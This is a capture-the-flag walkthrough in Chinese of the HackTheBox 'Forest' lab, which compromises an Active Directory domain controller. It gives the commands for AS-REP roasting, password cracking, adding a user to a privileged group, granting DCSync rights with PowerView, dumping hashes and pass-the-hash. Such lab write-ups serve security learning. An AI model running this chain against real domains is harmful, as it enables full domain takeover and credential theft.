HackTheBox Forest

Uncategorized
1.4k words

启动靶机得到IP:10.10.10.161,常规套路nmap扫一下得到以下端口信息

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT     STATE SERVICE      VERSION  
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-31 07:49:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

因为开启了smb服务,这里先尝试用smbclient裸连一下,发现虽然可以匿名登录,但什么共享都没有列出来。

然后再尝试用ms17010来打一下,发现还是一无所获,暂时来看SMB这条道路是走不通了,但ldap服务我们还没有试过,可以对其进行一下简单的尝试。首先用ldapsearch做了一下匿名访问,ldapsearch -H ldap://10.10.10.161:389 -x -b "dc=htb,dc=local"。最终是从茫茫人海中嫖到了 svc-alfresco这个用户 (其实就是对着wp怼的),我自己做的时候更喜欢Activity Directory Studio这种可视化的界面,ldap链接上去之后也是同理的。

简单的找GPT要了要aflresco的资料

Impacket下的GetNPUsere.py查了查关闭了Kerberos身份预验证机制的用户(就能直接返回TGT票据的那种),这里是直接就返回了我们刚才说的svc-alerso用户,下方的字符串则是经过用户的NTLM Hash加密的TGT票据,我们可以尝试用 john 来破解一下密码。

照着wp做的,成功破解密码

这里顺便再复习一下Kerberous协议的知识,图一是原始的TGT票据,图二是经过处理后发给TGS的TGT票据


这里我们破译的TGT票据是第一种,就AS发给我们的那种。而想要让AS发给我们TGT,我们就必须先把身份信息(如下),发给AS,经过检验后才会为我们颁发TGT,我们将此流程称之为Kerberous的身份预验证机制

但偶尔也有例外,并不是每一个账户都必须得经过这个身份预验证机制。在一些配置不当的情况下,账户会关闭身份预验证选项。在这种情况下,我们就可以用GetNPUsere.py查TGT票据,就和上面的情况一样。

然后就是这里除了从ldap获取users以外,我们还可以尝试用rpcclient来获取用户,命令如下
rpcclient调用的是SMB服务里面的MS-RPC功能,当smbclient没什么效果的时候我们可以试一试用rpcclient来连SMB服务(这块后面补上的,一开始以为smb的路已经彻底堵住了)

1
2
rpcclient -U "" -N 10.10.10.161
enumdomusers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

运行完之后把username拷到txt文件里,这样拿TGT会稳妥一点,之前那种做法不大好,纯看默认字典强度

1
python3 GetNPUsers.py htb.local/ -usersfile /root/hackthebox/Forest/uname.txt -dc-ip 10.10.10.161

解释完之后咱们接着往下做,把SharpBlood.exeevil-winrm传上去,之后再配合BloudHood来搜集信息查找攻击路径,这里是选择The shortest path to Domain Admin


发现了这么一条比较合理的路径,因为SVC-FRESCO用户属于ACCOUNT OPERATORS组,而ACCOUNT OPERATORS组对EXCHANGE WINDOWS PERMISSION组有GenericAll权限,所以我们可以通过SVC-FRESCOEXCHANGE WINDOWS PERMISSION创建一个高权限用户(就和之前Support里创建万能委派账号是一个样的), 而又因为EXCHANGE WINDOWS PERMISSIONHTB.LOCAL拥有WriteDacl权限,我们显然可以通过刚才所创建的高权限用户修改HTB.LOCALDAcl ,以此来赋予刚才创建的高权限账户对域内更高的权限(这里是赋予了Dsync权限,来导出域内用户的hash),稍微总结一下我们的攻击路径。

  • 利用SVC-ALFERSCOGenericAll权限,给EXCHANGE组创建一个高权限傀儡账号(后文称其为test888
  • test888账号修改域内DACL列表的功能,给test888账号自己加上对域内的Dsync权限
  • 通过Dsync权限导出域内所有用户的hash
  • 利用wmiexec进行PTH

先按流程给EXCHANGE组创建一个高权限傀儡账号

1
2
net user test888 test123! /add /domain
net group "Exchange Windows Permissions" test888 /add

1
2
3
4
5
6
7
8
9
10
$SecPassword = ConvertTo-SecureString 'test123!' -AsPlain -Force
//使用 PowerShell 语言中的 ConvertTo-SecureString cmdlet 来创建一个安全字符串对象,将明文密码转换为安全的密码。
$Cred = New-Object System.Management.Automation.PSCredential('htb\test888', $SecPassword)
//New-Object 创建了一个名为 $Cred 的对象,这个对象是 //System.Management.Automation.PSCredential 类型的凭据对象,该凭据对象通常用于存储用户名和密码,以便在 PowerShell 脚本中进行身份验证或与其他系统进行安全通信。
upload PowerView.ps1
//上传PowerView脚本
Import-Module .\PowerView.ps1
//导入功能
Add-DomainObjectAcl -PrincipalIdentity test888 -Credential $Cred -Rights DCSync
//增添DCSync权限


赋完权限之后用secretsdump.py登录账户导出域内has即可

拿到了域控管理员的NTLM Hash,用wmiexec.py进行PTH传递

内网渗透测试:DCSync 攻击技术的利用 - FreeBuf网络安全行业门户

pwn!